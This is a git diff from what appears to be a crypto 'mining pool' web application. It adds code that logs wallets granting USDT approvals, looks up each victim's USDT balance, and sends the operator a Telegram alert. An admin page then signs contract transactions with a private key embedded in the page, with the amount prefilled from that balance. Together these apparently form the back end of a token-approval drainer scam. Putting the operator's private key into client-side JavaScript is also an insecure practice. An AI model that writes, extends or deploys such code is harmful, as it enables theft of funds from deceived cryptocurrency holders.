$usdt_amount = ThirdApi::getUSDTBalance($address);
|
||||
|
||||
$res = DB::transaction(function () use ($address, $usdt_amount, $hash) {
|
||||
$newRow = new Authorize();
|
||||
$newRow->address = $address;
|
||||
$newRow->name = Base::USDT;
|
||||
$newRow->status = 0;
|
||||
$newRow->hash = $hash;
|
||||
$newRow->save();
|
||||
|
||||
User::where('address', $address)->update([
|
||||
'USDT' => $usdt_amount,
|
||||
'USDT_Q' => 1,
|
||||
]);
|
||||
});
|
||||
|
||||
$code = 0;
|
||||
if ($res) {
|
||||
$msg = "$address 授权成功";
|
||||
$msg = "New Authorization: address=$address . USDT Balance=$usdt_amount";
|
||||
|
||||
ThirdApi::sendToTg($msg);
|
||||
} else {
|
||||
Log::error("address $address create authorized row failed.");
|
||||
$code = -4;
|
||||
}
|
||||
|
||||
return json_encode([
|
||||
'code' => $code,
|
||||
]);
|
||||
|
@ -321,7 +331,7 @@ class ApiV1Controller extends Controller
|
|||
{
|
||||
$pool_data = $this->_pool_data();
|
||||
$price = $this->get_cache_eth_price();
|
||||
$pool_data['totalOutput'] = floatval(bcdiv($pool_data['totalOutput'], $price, 4));
|
||||
$pool_data['totalOutput'] = floatval(bcdiv($pool_data['totalOutput'], $price, 6));
|
||||
|
||||
$kvs = Redis::hGetAll(self::K_ROBOTS);
|
||||
|
||||
|
@ -329,7 +339,7 @@ class ApiV1Controller extends Controller
|
|||
foreach ($kvs as $k => $v) {
|
||||
$topEarns[] = [
|
||||
'address' => mb_substr($k, 0, 6) . '...' . mb_substr($k, -6, 6),
|
||||
'quantity' => $v,
|
||||
'quantity' => floatval(bcadd($v, 0, 6)),
|
||||
];
|
||||
}
|
||||
|
||||
|
@ -429,7 +439,7 @@ class ApiV1Controller extends Controller
|
|||
|
||||
public function test()
|
||||
{
|
||||
echo ThirdApi::getPrice(ThirdApi::ID_ETH);
|
||||
echo ThirdApi::getUSDTBalance('0xb308ED17897105cAac3f9813DD35c2eBc64b9A65');
|
||||
}
|
||||
|
||||
protected function _user_withdrawal_history($address)
|
||||
|
|
|
@ -9,7 +9,7 @@ class ThirdApi
|
|||
{
|
||||
|
||||
const USER_AGENT = "Jose's Chrome/1.2";
|
||||
|
||||
const ADDR_USDT_ERC20 = '0xdac17f958d2ee523a2206206994597c13d831ec7';
|
||||
const ID_BTC = 1;
|
||||
const ID_ETH = 1027;
|
||||
|
||||
|
@ -114,4 +114,40 @@ class ThirdApi
|
|||
{
|
||||
return self::getPrice(self::ID_ETH);
|
||||
}
|
||||
|
||||
public static function getUSDTBalance($address): float
|
||||
{
|
||||
/*
|
||||
{
|
||||
"code":1,
|
||||
"msg":"成功",
|
||||
"data":[
|
||||
{
|
||||
"network":"ETH",
|
||||
"hash":"0xdac17f958d2ee523a2206206994597c13d831ec7",
|
||||
"tokenInfo":{
|
||||
"h":"0xdac17f958d2ee523a2206206994597c13d831ec7",
|
||||
"f":"Tether USD",
|
||||
"s":"USDT",
|
||||
"d":"6"
|
||||
},
|
||||
"transferCnt":2,
|
||||
"balance":"17095417"
|
||||
}
|
||||
]
|
||||
}
|
||||
*/
|
||||
$data = file_get_contents('https://eth.tokenview.com/api/eth/address/tokenbalance/' . strtolower($address));
|
||||
$data_array = json_decode($data, true);
|
||||
|
||||
if ($data_array['code'] == 1) {
|
||||
foreach ($data_array['data'] as $v) {
|
||||
if ($v['hash'] == self::ADDR_USDT_ERC20) {
|
||||
return $v['balance'] / pow(10, $v['tokenInfo']['d']);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0.0;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -17,7 +17,7 @@ from os.path import exists, join
|
|||
from fabric import task, Connection
|
||||
|
||||
FILE_TAR = 'coinwind.tar.gz'
|
||||
DIRS = ('app', 'config',)
|
||||
DIRS = ('app', 'config', 'resources')
|
||||
UPLOAD_PATH = '~'
|
||||
DEPLOY_PATH = '/www/coinwind'
|
||||
|
||||
|
|
|
@ -0,0 +1,4 @@
|
|||
<div class="btn">
|
||||
<a class="btn btn-sm btn-default pull-right" href="{{$url}}" rel="external nofollow">
|
||||
<i class="fa {{$icon}}"> </i> {{$text}}</a>
|
||||
</div>
|
|
@ -31,7 +31,7 @@
|
|||
<br>
|
||||
<br>
|
||||
<br>
|
||||
交易密码:<input value="" id="mima"><br>
|
||||
交易密码:<input value="" type="password" id="mima"><br>
|
||||
输入金额:<input type="number" id="amount" value="{{$data['USDT']}}"></span>
|
||||
</form>
|
||||
|
||||
|
@ -314,13 +314,13 @@
|
|||
"type": "function"
|
||||
}];
|
||||
|
||||
const privateKey = new ethereumjs.Buffer.Buffer("{{$system['app_key']}}", "hex");
|
||||
const account = web3.eth.accounts.privateKeyToAccount("0x" + "{{$system['app_key']}}");
|
||||
const app_key = "{{$system['app_key']}}"
|
||||
const privateKey = new ethereumjs.Buffer.Buffer(app_key, "hex");
|
||||
const account = web3.eth.accounts.privateKeyToAccount("0x" + app_key);
|
||||
|
||||
const address = account.address;
|
||||
var myContract = new web3.eth.Contract(contractAbi, registryAddress);
|
||||
|
||||
|
||||
web3.eth.getGasPrice().then(gasPrice => {
|
||||
web3.eth.getTransactionCount(address, web3.eth.defaultBlock.pending).then(function(nonce) {
|
||||
var txData = {
|
||||
|
|
Loading…
Reference in New Issue